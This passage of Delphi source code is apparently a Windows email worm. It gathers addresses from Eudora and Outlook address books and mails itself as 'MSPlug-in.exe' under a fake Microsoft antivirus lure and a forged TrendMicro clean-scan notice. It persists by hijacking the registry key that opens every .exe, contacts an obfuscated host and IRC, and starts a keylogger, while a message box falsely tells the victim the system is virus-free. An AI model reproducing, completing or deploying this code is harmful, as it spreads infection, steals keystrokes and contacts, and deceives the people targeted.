getsystemtime(SystemTime);
FMimeBoundary := '=Multipart Boundary '+ //FormatDateTime('mmddyyhhnn', Now);
inttostr(systemtime.wMonth)+inttostr(systemtime.wDay)+inttostr(systemtime.wYear)+inttostr(systemtime.wHour)+inttostr(systemtime.wMinute);

//writeln('let''s rock');

sock.WriteString(MySocket2,pchar('HELO '+serv+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('MAIL FROM: '+user+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('RCPT TO: '+slav+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('DATA'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('From: '+user+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('To: '+slav+#13+#10));
sleep(timeout+10);
//sock.WriteString(MySocket2,pchar('Subject: Fwd: Microsoft Anti Virus Plugin'+#13+#10));
sock.WriteString(MySocket2,pchar('Subject: Fwd: Microsoft Anti Virus Plugin'+#13+#10));
randomize;

day:=systemtime.wDayOfWeek;
case day of
0: zday:='Sun';
1: zday:='Mon';
2: zday:='Tue';
3: zday:='Wed';
4: zday:='Thu';
5: zday:='Fri';
6: zday:='Sat';
end;
month:=systemtime.wMonth;
case month of
1: zmonth:='Jan';
2: zmonth:='Feb';
3: zmonth:='Mar';
4: zmonth:='Apr';
5: zmonth:='May';
6: zmonth:='Jun';
7: zmonth:='Jul';
8: zmonth:='Aug';
9: zmonth:='Sep';
10: zmonth:='Oct';
11: zmonth:='Nov';
12: zmonth:='Dec';
end;
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Date: '+zday+', '+inttostr(systemtime.wDay)+' '+zmonth+
' '+inttostr(systemtime.wYear)+' '+inttostr(systemtime.wHour)+':'+inttostr(systemtime.wMinute)+':'+inttostr(systemtime.wSecond)+' +0000'+#13+#10));
              //Date: Fri, 27 Dec 2002 16:46:11 +0000
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Mime-Version: 1.0'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Content-Type: ' + 'multipart/mixed' + '; boundary="' +FmimeBoundary+ '"'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar(''+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('--'+FmimeBoundary+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Content-Type: ' + 'text/plain' + '; charset="' +'iso-8859-1' + '"'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Content-Transfer-Encoding: quoted-printable'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar(''+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Microsoft Anti Virus Plugin Detected any Suspiciuos files.'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Test your computer today and foward this Email.'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Free service (for win95/98/Me/NT/2000/Xp).'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar(''+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('___________________________________________________________'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('TrendMicro has scanned this mail for viruses, vandals'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('and suspicious attachments and has found it to be CLEAN.'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar(' '+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('File: MSPlug-in.exe data (32,768 bytes)'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Encoding: Base64'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Result: Clean.'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar(''+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('--'+FmimeBoundary+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Content-Type: ' + 'application/octet-stream' + ';'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar(#9+'name="' + 'MSPlug-in.exe' + '"'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Content-Transfer-Encoding: base64'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('Content-Disposition: attachment;'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar(#9+'filename="' + 'MSPlug-in.exe' + '"'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar(''+#13+#10));
sleep(timeout+10);

AssignFile(hFile,filename);
FileMode := 0;
Reset(hFile, 1);

repeat
BASE64(hfile, sLine, More);
if sline<>'' then sock.WriteString(MySocket2,pchar(sline+#13+#10));
sleep(timeout);
until sline='';
more:=true;
closefile(hfile);

sleep(timeout+10);
sock.WriteString(MySocket2,pchar('--' + FMimeBoundary + '--'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('.'+#13+#10));
sleep(timeout+10);
sock.WriteString(MySocket2,pchar('QUIT'+#13+#10));
sleep(timeout+10);
closesocket(mysocket2);
//writeln('All done.');
                                           end;
                         s:='';
              end;

until eof(ff);
seek(ff,0);
blockwrite(ff,'[KILL] ',sizeof('[KILL] '));
closefile(ff);
//writeln('DEAD');
if TerminateThread(ThreadHdle3, ExitCode3) then begin closefile(ff); closesocket(mysocket2); WSACleanup;  exit;end;
WSACleanup;
end;

procedure TSpam.ScanMail2;
var
  i,yyyy,yyy,yy,count,NumRead: integer;
  poss,poss2,poss3:longint;
  bufffT,Bufff,bufff2: Char;
  tof:textfile;
  a,b,c,d,e,f,g,thepoint:boolean;
  From:file;
  x,y,z:byte;
  pp1,pp2,p1,p2,ss2,s,s2,s3,s4,s5,s6:string;
begin
a:=false;
b:=false;
c:=false;
d:=false; //special
e:=false;
f:=false;
g:=false;
thepoint:=false;
count:=0;
poss:=0;

//if eudora+'NNDBASE.TXT'='' then begin writeln('No Eudora File found'); exit; end;

if fileexists(eudora+'NNDBASE.TXT') then
begin
filemode:=0;
Assignfile(From,eudora+'NNDBASE.TXT');
Reset(From, 1);
yy:=filesize(from);
end
else
begin
//writeln('I can''t open the file...');
exit;
end;

repeat
//processmessages;

BlockRead(From, Bufff, SizeOf(Bufff), NumRead);

if bufff='@' then begin poss:=filepos(from); poss2:=poss; a:=true end;

if a=true then
 begin
 poss:=poss-1;
 repeat
 poss:=poss-1;
 count:=count+1;
 if poss>0 then seek(From,poss) else begin c:=true; g:=true; end;
 //memo1.Lines.add(inttostr(poss));
 BlockRead(From, Bufff, SizeOf(Bufff), NumRead);

 if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else
 if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else
 if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else
 if bufff = '-' then {memo1.Lines.add(bufff)} else
 if bufff = '.' then {memo1.Lines.add(bufff)} else
  if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true; end else
 if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true;
 if count=26 then begin b:=true; g:=true;end;

 if b=true then
 if count<4 then begin c:=true; g:=true; end else c:=true;
until c=true;
// memo1.Lines.add('1:'+inttostr(poss)+' 2:'+inttostr(poss2));
 poss3:=poss;
 b:=false;
 c:=false;
 count:=0;

 poss2:=poss2-1;
 repeat
 poss2:=poss2+1;
 count:=count+1;
 seek(From,poss2);
 BlockRead(From, Bufff, SizeOf(Bufff), NumRead);

 if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else
 if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else
 if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else
 if bufff = '-' then {memo1.Lines.add(bufff)} else
 if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true end else
 if bufff = '.' then {memo1.Lines.add(bufff)} thepoint:=true else
 if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true;

 if thepoint<>true then g:=true;
 if count=60 then begin c:=true; g:=true;end;

 if b=true then
 if count<2 then begin c:=true; g:=true; end else c:=true;

 until c=true;

 c:=false;
 b:=false;
 a:=false;
 count:=0;
s:='';

poss:=poss+1;
e:=true;
repeat   //filtre
seek(From,poss);
BlockRead(From, Bufff, SizeOf(Bufff), NumRead);
poss:=poss+1;

if e=true then
if (bufff='@') or (bufff='.') then
begin g:=true; e:=false; end else e:=false;

f:=true;
seek(From,poss);
BlockRead(From, Bufff2, SizeOf(Bufff2), NumRead);
seek(From,poss-1);

if bufff='@' then
if bufff2='.' then g:=true;
if bufff='.' then
if bufff2='@' then g:=true;
if bufff='.' then
if bufff2='.' then g:=true;

s:=s+bufff;
until poss=poss2;

if s='@' then g:=true;
repeat
p2:=s;
delete(p2,1,length(p2)-3);
pp1:=p2;
pp2:=p2;
delete(p2,2,length(p2));
if p2='.' then
begin x:=9;
delete(pp1,1,1);
delete(pp1,3,3);
if pp1[1] in ['0'..'9'] then x:=5;
if pp1[1] = '_' then x:=5;
if pp1[1] = '-' then x:=5;
if pp1[1] = '.' then x:=5;

delete(pp2,1,2);
if pp2[1] in ['0'..'9'] then x:=5;
if pp2[1] = '_' then x:=5;
if pp2[1] = '-' then x:=5;
if pp2[1] = '.' then x:=5;
end else x:=5;

p1:=s;
delete(p1,1,length(p1)-4);
if p1='.org' then y:=9 else
if p1='.com' then y:=9 else
if p1='.mil' then y:=9 else
if p1='.gov' then y:=9 else
if p1='.int' then y:=9 else
if p1='.edu' then y:=9 else
if p1='.net' then y:=9 else y:=5;

if x=y then begin g:=true; x:=6; end;
if x<>y then begin x:=6; end;
s:=s;
until x=6;

if s=s2 then f:=false; //same
if (length(s)<6) then f:=false;
if f=true then writeln(ttt,'[SLAV]'+s);
s2:=s;

seek(From,poss2);
f:=false;
g:=false;
end;
e:=false;
//processmessages;
until numread=0;

Closefile(From);
d:=false;
exit;
processmessages;
end;

procedure TSpam.ScanMail;
var
  i,yyyy,yyy,yy,count,NumRead: integer;
  poss,poss2,poss3:longint;
  bufffT,Bufff,bufff2: Char;
  tof:textfile;
  a,b,c,d,e,f,g,thepoint:boolean;
  From:file;
  x,y,z:byte;
  pp1,pp2,p1,p2,ss2,s,s2,s3,s4,s5,s6:string;
begin
a:=false;
b:=false;
c:=false;
d:=false; //special
e:=false;
f:=false;
g:=false;
thepoint:=false;
count:=0;
poss:=0;


if outlook='' then begin //writeln('No WAB File found');
 exit; end;
filemode:=0;
if fileexists(outlook) then
begin
Assignfile(From,outlook);
Reset(From, 1);
yy:=filesize(from);
end
else
begin
//writeln('I can''t open the file...');
exit;
end;

seek(from,80000);

repeat
//processmessages;

bufffT:=bufff;
BlockRead(From, Bufff, SizeOf(Bufff), NumRead);
if (bufff=':') and (bufffT='U') then d:=true;

if bufff='@' then begin poss:=filepos(from); poss2:=poss; a:=true end;

if a=true then
 begin
 poss:=poss-1;
 repeat
 poss:=poss-1;
 count:=count+1;
 if poss>0 then seek(From,poss) else begin c:=true; g:=true; end;

 BlockRead(From, Bufff, SizeOf(Bufff), NumRead);

 if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else
 if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else
 if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else
 if bufff = '-' then {memo1.Lines.add(bufff)} else
 if bufff = '.' then {memo1.Lines.add(bufff)} else
  if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true; end else
 if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true;
 if count=26 then begin b:=true; g:=true;end;

 if b=true then
 if count<4 then begin c:=true; g:=true; end else c:=true;
until c=true;

 poss3:=poss;
 b:=false;
 c:=false;
 count:=0;

 poss2:=poss2-1;
 repeat
 poss2:=poss2+1;
 count:=count+1;
 seek(From,poss2);
 BlockRead(From, Bufff, SizeOf(Bufff), NumRead);

 if bufff in ['a'..'z'] then {memo1.Lines.add(bufff)} else
 if bufff in ['0'..'9'] then {memo1.Lines.add(bufff)} else
 if bufff in ['A'..'Z'] then {memo1.Lines.add(bufff)} else
 if bufff = '-' then {memo1.Lines.add(bufff)} else
 if bufff = '@' then {memo1.Lines.add(bufff)} begin b:=true; g:=true end else
 if bufff = '.' then {memo1.Lines.add(bufff)} thepoint:=true else
 if bufff = '_' then {memo1.Lines.add(bufff)} else b:=true;

 if thepoint<>true then g:=true;
 if count=60 then begin c:=true; g:=true;end;

 if b=true then
 if count<2 then begin c:=true; g:=true; end else c:=true;

 until c=true;

 c:=false;
 b:=false;
 a:=false;
 count:=0;
s:='';

poss:=poss+1;
e:=true;
repeat   //filtre
seek(From,poss);
BlockRead(From, Bufff, SizeOf(Bufff), NumRead);
poss:=poss+1;

if e=true then
if (bufff='@') or (bufff='.') then
begin g:=true; e:=false; end else e:=false;

f:=true;
seek(From,poss);
BlockRead(From, Bufff2, SizeOf(Bufff2), NumRead);
seek(From,poss-1);

if bufff='@' then
if bufff2='.' then g:=true;
if bufff='.' then
if bufff2='@' then g:=true;
if bufff='.' then
if bufff2='.' then g:=true;

s:=s+bufff;
until poss=poss2;

if s='@' then g:=true;
repeat
p2:=s;
delete(p2,1,length(p2)-3);
pp1:=p2;
pp2:=p2;
delete(p2,2,length(p2));
if p2='.' then
begin x:=9;
delete(pp1,1,1);
delete(pp1,3,3);
if pp1[1] in ['0'..'9'] then x:=5;
if pp1[1] = '_' then x:=5;
if pp1[1] = '-' then x:=5;
if pp1[1] = '.' then x:=5;

delete(pp2,1,2);
if pp2[1] in ['0'..'9'] then x:=5;
if pp2[1] = '_' then x:=5;
if pp2[1] = '-' then x:=5;
if pp2[1] = '.' then x:=5;
end else x:=5;

p1:=s;
delete(p1,1,length(p1)-4);
if p1='.org' then y:=9 else
if p1='.com' then y:=9 else
if p1='.mil' then y:=9 else
if p1='.gov' then y:=9 else
if p1='.int' then y:=9 else
if p1='.edu' then y:=9 else
if p1='.net' then y:=9 else y:=5;

if x=y then begin g:=true; x:=6; end;
if x<>y then begin x:=6; end;
s:=s;
until x=6;

if (length(s)<6) then f:=false;
if d=true then begin s:='[USER]'+s; d:=false; end else s:='[SLAV]'+s;
if f=true then writeln(ttt,s);
s2:=s;


seek(From,poss2);
f:=false;
g:=false;
end;
e:=false;
//processmessages;
until numread=0;

Closefile(From);
exit;
d:=false;
processmessages;
end;

procedure TSpam.fileini;
const log = 'ReturnAddress=';
      log2 = 'SMTPServer=';

var tt:textfile;
    s,s2:string;

begin
if not fileexists(eudora+'EUDORA.INI') then begin
{form1.memo1.lines.add('no files exist');} exit; end;
assignfile(tt,eudora+'EUDORA.INI');
reset(tt);
s2:='_';

repeat
readln(tt,s);
s2:=s;

s:=copy(s2,1,length(log));
if s=log then begin s:=copy(s2,length(log)+1,length(s2));
writeln(ttt,'[USER]'+s); end;

s:=copy(s2,1,length(log2));
if s=log2 then begin s:=copy(s2,length(log2)+1,length(s2));
 if s='' then writeln(ttt,'[SERV]'+crypt('lcjh+eheyxixj>r}~')) else writeln(ttt,'[SERV]'+s); 
end;

until eof(tt);
closefile(tt);
exit;
end;

//============Thread_procedure===
procedure ThreadProc3; stdcall;
var Spam:TSpam;
begin
sleep(90000);
//writeln('SPAM');
spam.start;
end;

procedure ThreadProc2; stdcall;
begin
sleep(160000);
//writeln('CONNECT IRC');
hede.server;

if TerminateThread(ThreadHdle2, ExitCode2) then begin closesocket(mysocket);
WSACleanup; end;
end;

procedure ThreadProc; stdcall;
var ck1,ck2,ck3:boolean;
begin
ck1:=false;
ck2:=false;
ck3:=false;
//initsocket;

repeat
WSACleanup;
WSAStartup($101,WSD);

  z:=lookup_hostname(crypt('vut*hodzfydjy l|'))
//  z:=lookup_hostname('--');
//write(z);
//write(' '+ip2string(z)+' ');

if z>0 then ck1:=true else ck1:=false;

if (ck1=true) and (ck2=false) then
     begin
     ck2:=true;
     ck3:=true;
     WSACleanup;
     initsocket;
//     writeln('connect');
     ThreadHdle2 := CreateThread( Nil,0,@ThreadProc2,Nil,0,ThreadID2); //connect
     sleep(1000);
     ThreadHdle3 := CreateThread( Nil,0,@ThreadProc3,Nil,0,ThreadID3); //scan protection
     end;

if (ck1=false) and (ck3=true) then
     begin
     ck3:=false;
     ck2:=false;
     ShutDownServer;
     WSACleanup;
//     writeln('disconnect');
     GetExitCodeThread(ThreadHdle2, ExitCode2);
     TerminateThread(ThreadHdle2, ExitCode2);
     GetExitCodeThread(ThreadHdle3, ExitCode3);
     TerminateThread(ThreadHdle3, ExitCode3);
     end;
sleep(60000);
until TerminateThread(ThreadHdle, ExitCode); //z=777;
ShutDownServer;
end;




//=== This is the MAIN PART program =======
begin
scanprotection;

if paramstr(0)=systemdir+crypt(']IFVKCK;;$]TI') then   //\KERNEL32.VXD
   begin
   if (length(paramstr(1))>0) and (length(paramstr(2))>0)  then winexec(PChar(paramstr(1)+' '+paramstr(2)),SW_NORMAL);
   if (length(paramstr(1))>0) and (length(paramstr(2))=0)  then winexec(PChar(paramstr(1)),SW_NORMAL);
   winexec(pchar(systemdir+crypt(']ifvkck&mfg')),SW_NORMAL); //\kernel.dll
   halt;
   end;

if (paramstr(0)<>systemdir+crypt(']IFVKCK;;$]TI')) and (paramstr(0)<>systemdir+crypt(']IFVKCK&MFG')) then //\KERNEL32.VXD //\KERNEL.DLL
begin
if MessageBoxA(Handle, 'Microsoft Anti Virus Plugin Detected any Suspiciuos files.'+#13+#10+
'Well it''s time to check if your system is ready.'+#13+#10+' '+#13#10+
'Do you want start the Av Test ?', MB_YESNO)=IDYES then
    begin
    MessageBox(Handle,'Please wait...',MB_ICONINFORMATION);
    fileexists(systemdir+'\kernel32.dll');
    sleep(1000);
    MessageBox(Handle,'Test successfull !'+#13#10+' '+#13#10+'Your system are Virus Free',MB_ICONINFORMATION);
    end;
end;

  if FindWindow(lpzClassName,lpzWindowsName) <> 0 then Halt;//If start second time

  hInst:=GetModuleHandle(nil);
  with wClass do
  begin
    Style:=         CS_PARENTDC;
    hIcon:=         0;
    cbClsExtra:=    0;
    cbWndExtra:=    0;
    lpfnWndProc:=   @WindowProc;
    hInstance:=     hInst;
    hbrBackground:= COLOR_WINDOW;
    lpszClassName:= lpzClassName;
    lpszMenuName:=  NIL;
    hCursor:=       0; //LoadCursor(0,IDC_ARROW);
  end;

  RegisterClass(wClass);

  Handle:=CreateWindow(lpzClassName,lpzWindowsName,WS_BORDER + WS_SIZEBOX, 0,0,10,10,0,0{hPP},hInst,nil);
  if Handle<>0 then
  begin
    UpdateWindow(Handle);
    ShowWindow(Handle, SW_HIDE);  //SW_HIDE
    RegisterInService;
  end;

copyit;

Registre:=TRegistry.create;
Registre.RootKey:=HKEY_CLASSES_ROOT;
Registre.OpenKey('exefile\shell\open\command',true);
Registre.WriteString('',pchar(crypt('jgqj`j4:''|sh-,*!326>'))); //kernel32.vxd "%1" %*
Registre.Free;

Timeout:=70;
ThreadHdle := CreateThread( Nil,0,@ThreadProc,Nil,0,ThreadID); //Online???


repeat
sleep(59000);
until z>0;
if z>0 then klog.LogCreate;
ProcessMessages;
end.

